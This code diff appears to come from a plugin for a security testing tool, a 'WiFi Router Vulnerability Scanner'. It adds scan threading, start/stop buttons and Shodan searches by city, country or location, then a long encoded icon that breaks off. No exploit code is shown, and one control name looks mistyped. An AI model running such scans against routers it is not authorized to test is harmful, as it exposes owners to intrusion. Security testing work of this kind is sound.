self.ui.ModControls['output_tb1'].AddText('\n'+stmt) + self.ui.ModControls['output_tb1'].SetVisible(True) + + elif callingfunc == 2: + #string2 = self.ui.ModControls['output_tb2'].Text + self.ui.ModControls['output_tb2'].AddText('\n'+stmt) + self.ui.ModControls['output_tb2'].SetVisible(True) + elif callingfunc == 3: + #string3 = self.ui.ModControls['output_tb3'].Text + self.ui.ModControls['output_tb3'].AddText('\n'+stmt) + self.ui.ModControls['output_tb3'].SetVisible(True) + +#Threading to run the Scanning at backend..!! + def start_thread1(self): + if self.ui.ModControls['start_btn1'].Text == "Start Scan": + self.ui.ModControls["output_tb1"].Text='' + try: + self.thread_id1 = IronThread.Run(self.singleIP_interface, self.ui.ModControls["input_single_ip_tb"].Text) + self.ui.ModControls['start_btn1'].SetText("Stop Scan") + self.ui.ModControls["output_tb1"].Visible = True + self.ui.ModControls["save_report_1"].Visible = True + except Exception as e: + self.ui.ModControls['output_tb1'].AddText("\r\nError during Scanning..!!") + else: + IronThread.Stop(self.thread_id1) + self.ui.ModControls['output_tb1'].AddText('\r\nScanning stopped.\r\n') + self.ui.ModControls['start_btn1'].SetText("Start Scan") + + def start_thread2(self): + if self.ui.ModControls['start_btn2'].Text == "Start Scan": + self.ui.ModControls["output_tb2"].Text='' + try: + self.thread_id2 = IronThread.Run(self.RangeIP_interface, self.ui.ModControls["input_rangeip_tb"].Text) + self.ui.ModControls['start_btn2'].SetText("Stop Scan") + self.ui.ModControls["output_tb2"].Visible = True + self.ui.ModControls["save_report_2"].Visible = True + except Exception as e: + self.ui.ModControls['output_tb2'].AddText("\r\nError during Scanning..!! ") + else: + IronThread.Stop(self.thread_id2) + self.ui.ModControls['output_tb2'].AddText('\r\nScanning stopped.\r\n') + self.ui.ModControls['start_btn2'].SetText("Start Scan") + + def start_thread3(self): + filter_value = "" + api_key = self.ui.ModControls['shodanAPI_key_tb'].Text + if self.ui.ModControls['start_btn3'].Text == "Start Scan": + self.ui.ModControls["output_tb3"].Text= '' + try: + if self.ui.ModControls["City_rb"].Checked and not(self.ui.ModControls['shodanAPI_key_tb'].Text == ''): + if self.ui.ModControls['input_city_tb'].Text == '' : + self.ui.ModControls['error_lb1'].Visible = True + self.ui.ModControls['error_lb1'].Text = "Please Enter City" + self.ui.ModControls['input_country_tb'].Text = '' + self.ui.ModControls['input_geo_tb'].Text = '' + self.ui.ModControls["output_tb3"].Visible = False + else: + self.ui.ModControls['error_lb1'].Visible = False + self.ui.ModControls["save_report_3"].Visible = True + value = self.ui.ModControls['input_city_tb'].Text + filter_value = 'city'+':'+value + self.ui.ModControls["output_tb3"].Visible = True + elif self.ui.ModControls["country_rb"].Checked and not(self.ui.ModControls['shodanAPI_key_tb'].Text == ''): + if self.ui.ModControls["input_country_tb"].Text == '': + self.ui.ModControls["error_lb1"].Visible = True + self.ui.ModControls["error_lb1"].Text = "Please Enter Country" + self.ui.ModControls['input_city_tb'].Text = '' + self.ui.ModControls['input_geo_tb'].Text = '' + self.ui.ModControls["output_tb3"].Visible = False + else: + self.ui.ModControls['error_lb1'].Visible = False + self.ui.ModControls["save_report_3"].Visible = True + value = self.ui.ModControls["input_country_tb"].Text + filter_value = 'country'+':'+value + self.ui.ModControls["output_tb3"].Visible = True + elif self.ui.ModControls["geoloc_rb"].Checked and not(self.ui.ModControls['output_tb3shodanAPI_key_tb'].Text == ''): + if self.ui.ModControls["input_geo_tb"].Text == '': + self.ui.ModControls["error_lb1"].Visible = True + self.ui.ModControls["error_lb1"].Text = "Please Enter Geo Location" + self.ui.ModControls['input_country_tb'].Text = '' + self.ui.ModControls['input_city_tb'].Text = '' + self.ui.ModControls["output_tb3"].Visible = False + else: + self.ui.ModControls['error_lb1'].Visible = False + self.ui.ModControls["save_report_3"].Visible = True + value = self.ui.ModControls["input_geo_tb"].Text + filter_value = 'geo'+':'+value + self.ui.ModControls["output_tb3"].Visible = True + else: + self.ui.ModControls['error_lb1'].Visible = True + self.ui.ModControls['error_lb1'].Text = "Please Enter Shodan API Key" + self.ui.ModControls["output_tb3"].Visible = False + + if len(filter_value) > 0 and len(api_key) > 0: + self.thread_id3 = IronThread.Run(self.shodan_interface, {"api_key":api_key, "filter":filter_value}) + self.ui.ModControls['start_btn3'].SetText("Stop Scan") + self.ui.ModControls["output_tb3"].Visible = True + + except Exception as e: + self.ui.ModControls['output_tb3'].AddText("\r\nError during Scanning..!!") + else: + IronThread.Stop(self.thread_id3) + self.ui.ModControls['output_tb3'].AddText('\r\nScanning stopped.\r\n') + self.ui.ModControls['start_btn3'].SetText("Start Scan") + + def stopper(self): + try: + IronThread.Stop(self.thread_id1) + except: + pass + try: + IronThread.Stop(self.thread_id2) + except: + pass + try: + IronThread.Stop(self.thread_id3) + except: + pass + self.ui.ModControls['start_btn1'].SetText("Start Scan") + self.ui.ModControls['start_btn2'].SetText("Start Scan") + self.ui.ModControls['start_btn3'].SetText("Start Scan") + + def popupMsg_disable(self): + self.ui.ModControls["report_popup_lb1"].Visible = False + self.ui.ModControls["report_popup_lb2"].Visible = False + self.ui.ModControls["report_popup_lb3"].Visible = False + self.ui.ModControls["popup_ok_btn1"].Visible = False + self.ui.ModControls["popup_ok_btn2"].Visible = False + self.ui.ModControls["popup_ok_btn3"].Visible = False + +#UI implemented part + def startUi(self): + self.thread_id1 = 0 + self.thread_id2 = 0 + self.thread_id3 = 0 + ui = ModUi() + ui.Size = ModUiTools.GetSizeDefinition(900,600) + ui.Text = Tools.Base64Decode('V2lIYXdrIC0gV2lGaSBSb3V0ZXIgVnVsbmVyYWJpbGl0eSBTY2FubmVy') + ui.Icon = ModUiTools.GetIconDefinition('AAABAAIAQEAAAAEAIAAoQgAAJgAAAICAAAABACAAKAgBAE5CAAAoAAAAQAAAAIAAAAABACAAAAAAAABAAADDDgAAww4AAAAAAAAAAAAA5+Xj/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//6+no/+Th4P/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+jm5f/k4eD/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/ysfG/5WTlP/a19b/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//o5uX/5OHg/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/3drY/1BPUv9WVVj/dXR1/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/6Obl/+Th4P/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/4qIif8eHSH/UE9R/yIhJf+vraz/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+jm5f/k4eD/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/8K/vv8oJyv/Hx4i/01MT/8gHyP/Pz5B/9rX1f/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//o5uX/5OHg/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/9/c2v9RT1L/IB8j/x8eIv9MS07/IB8j/yAfI/+HhYb/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/6Obl/+Th4P/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2/+yr6//Hx4i/yAfI/8fHiL/SEdK/yAfI/8gHyP/LCsv/8/Ny//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+jm5f/k4eD/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//e29n/zMnI/yMiJv8gHyP/Hx4i/0JBRP8gHyP/IB8j/x8eIv+uq6v/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//o5uX/5OHg/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/kI6P/7u4uP9CQUT/IB8j/x8eIv9AP0L/IB8j/yAfI/8sKy7/1dLQ/9fU0v/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/6Obl/+Th4P/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/3drY/zo5Pf9ycHL/dnV2/yAfI/8fHiL/PTw//yAfI/8gHyP/X11f/6akpP+EgoP/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+jm5f/k4eD/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/6qnp/8gHyP/MTAz/6Wjo/8fHiP/Hx4i/zs6Pv8gHyP/IB8j/5yamv9UUlX/PDs+/97b2f/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//o5uX/5OHg/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2/9mZGb/IB8j/yAeI/+cmpr/Kiks/yAfI/8zMjX/IB8j/ygnK/+xr6//IiEl/yAfI/+4trX/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/6Obl/+Th4P/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//d2tj/MjE1/yAfI/8gHyP/YV9i/1VUVv8fHiL/MTAz/yAfI/9XVVf/cnBy/yAfI/8gHyP/gH6A/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+jm5f/k4eD/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/39za/2lnaf8gHyP/IB8j/ykoLP9+fH7/Hx4i/y8uMv8gHyP/i4mJ/y0sMP8gHyP/IyIm/6ako//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//o5uX/5OHg/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/6uoqP+dm5v/SEdK/yAfI/8fHiP/eHd4/yAfI/8qKSz/JSQo/4KAgf8gHyP/IB8j/4SChP9vbW//3tvZ/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/6Obl/+Th4P/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2/+SkJD/JSQo/5COj/80Mzb/IB8j/1BOUf84Nzr/JCMn/1BPUf9EQkb/IB8j/2xqbP9SUFP/KCcr/9nW1P/g3dv/4N3b/9/c2v/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+jm5f/k4eD/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/xcLB/zg3Ov8nJir/f31+/ycmKv8kIyf/UE9S/yAfI/9fXmD/IB8j/1dWWP9OTU//IB8j/0pJTP/b2df/4N3b/9fX2P9NTlT/hX55/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//o5uX/5OHg/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/29jW/+Dd2//g3dv/x8XE/+Dd2//g3dv/09LT/8nFwv/V0tD/4N3b/+Dd2//KyMb/QD9C/ycmKv9oZmj/ISAk/zU0OP8hICT/QT9D/0RCRf9HRkn/IB8j/2ZkZv/Y1dT/4N3b/+Dd2//a2dn/YGNo/1tWVP/f29f/4N3b/7q6uv/Gwb//3NnW/9vY1//Hxsf/1tDM/+Dd2//g3dv/09DP/+Dd2//g3dv/4N3b/+Dd2//d2tn/zMrI/9PR0P/Oysj/4N3b/+Dd2//g3dv/6Obl/+Th4P/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/0tTW/15YVv/h3tv/2NjY/0FARP/c1tD/4N3b/87Oz/9eXWD/kY2L/+Dd2v/g3dv/4N3b/9DOzP9KSEv/KCcr/0RDRv8gHyP/IB8j/y0sMP86OTz/IiEl/4aEhf/f3Nr/4N3b/+Dd2//g3dv/4N3b/+He3P+Cg4f/3NfT/+Dd2//MzM7/ZGJi/7q1s/9QVl7/XFte/7mvp//g3dv/3dvb/0FCSP/Z0sz/sLS6/7Coof/d29v/f4WM/46Hgv9UV13/WFlc/8G5sf/g3dv/4N3b/+jm5f/k4eD/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/66zuf85NDT/29XQ/6ClrP9HRkj/sqig/+Dd2//g3dv/eXp9/+Dd2f/g3dv/4N3b/+Dd2//g3dv/1tPR/1RSVf8hICT/IB8j/yAfI/8hICP/LCsu/6akpP/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/dnl//9vW0P/g3dv/x8rO/4V+ev/g3tv/dHiA/25tb/+Ad3H/4N3b/7m9w/9HRkn/rKOb/2pvdv9mYF7/39vX/8LGy/+el5L/T01Q/1lcY//At7D/4N3b/+Dd2//o5uX/5OHg/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2/97gYr/eHh4/7mwp/9fZW7/qaWh/2tlYf/h3tv/4N3b/2xrb//g3Nf/4N3b/+Dd2//g3dv/4N3b/+Dd2//a2Nb/RkVI/yAfI/8gHyP/Kyot/8C+vf/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4d7b/2Zpb//b1dD/4N3b/6uxuP+XjYb/4N3b/8LCxP+2sq//UFJX/9nTzf99g4v/l5GM/3Z0df9TUVL/qq6z/62knf/IzdD/QkJH/3xzbv/h3tz/4N3b/+Dd2//g3dv/6Obl/+Th4P/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dz/TVBW/8XEwv94dHL/OzxB/9rUzv9dYWn/ysK7/+He2/9YW2L/3dfQ/+Dd2//g3dv/4N3b/+Dd2//g3dv/3NnX/zQzNv8gHyP/IB8j/yMiJv/Jx8X/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+He3P9OUln/k4+O/5GPkP9oa3L/ppyT/+Dd2/9haHH/MC0v/0pMUP+upZ7/PUJL/8O6sv9OVV7/bmVf/97d3P+EgYD/zM/S/0VERv+Ff3z/39vY/+Dd2//g3dv/4N3b/+jm5f/k4eD/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/xMfL/0tFQ//h3dv/UFdg/0Q9Ov/h3dr/t7vA/3lybf/Gxsj/ODpA/8e+uP/g3dv/4N3b/+Dd2//g3dv/4N3b/7a0s/8gHyP/IB8j/yAfI/8gHyP/joyM/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//d3Nv/QkFH/93Y1P/g3dv/b3V+/7KpoP/g3dv/mp+m/3dxbv87PkT/dXR1/zQwMf/W0s7/WF1l/3JqZf+Gh4v/aWRh/9HT1f9nYF7/pKiu/1ZTU//CvLb/4N3b/+Dd2//o5uX/5OHg/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/36Ejf93bmf/4N3b/5OZof9hWFP/2NfY/4OBgv9oZWX/1NLR/25w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I/8gHyP/IB8j/yAfI/8gHyP/IB8j/yAfI/8gHyP/IB8j/yAfI/8gHyP/IB8j/yAfI/8gHyP/IB8j/yAfI/8gHyP/XFtd/zEwNP83Njn/QkFF/y8uMv9WVVj/goCB/8TBwP/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+jm5f/k4eD/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/9LPzf9xb3H/MjE1/yMiJv8lJCf/cXBy/1RSVf9iYWP/W1lc/yAfI/8gHyP/IB8j/yAfI/8sKy//MzI1/yAfI/8gHyP/IB8j/yAfI/8gHyP/IB8j/ysqLv8tLDD/IB8j/yAfI/8gHyP/IB8j/yMiJv99e3z/PTxA/1hXWv9aWVv/Kikt/ysqLv9LSUz/nJqa/9/c2v/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//o5uX/5OHg/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/9DNzP8+PUD/IB8j/yAfI/8gHyP/R0ZJ/zQzN/8gHyP/YV9h/yAfI/8gHyP/IB8j/yMiJv+DgYL/19TS/6qnp/8fHiL/IB8j/yAfI/8gHyP/IB8j/yAfI/+opqb/3NnX/6elpf82NTj/IB8j/yAfI/8gHyP/Wllb/z48QP8gHyP/Wlhb/ycmKv8gHyP/IB8j/yAfI/91c3X/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/6Obl/+Th4P/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2/9mZGb/Hx4i/yAfI/8gHyP/JCMn/01MT/8gHyP/JyYp/0hHSf8gHyP/IB8j/yEgJP+UkZL/4N3b/+Dd2//Z1tT/LCsv/yAfI/8gHyP/IB8j/yAfI/8sKy7/1tPS/+Dd2//g3dv/yMbF/zY0OP8gHyP/IB8j/yQjJ/9ubG7/IB8j/yUkKP9eXF7/IB8j/yAfI/8gHyP/ISAk/6ilpf/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+jm5f/k4eD/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//e29n/mpiY/5SSk/96eXr/XFpd/3p4ev9UU1b/T05R/2JhY/8nJir/IB8j/yAfI/9dXF7/4N3b/+Dd2//g3dv/4d3b/15cX/8gHyP/IB8j/yAfI/8gHyP/Wllb/+He3P/g3dv/4N3b/+Dd2/+yr6//IyIm/yAfI/8gHyP/cW9x/2BfYf9hX2H/g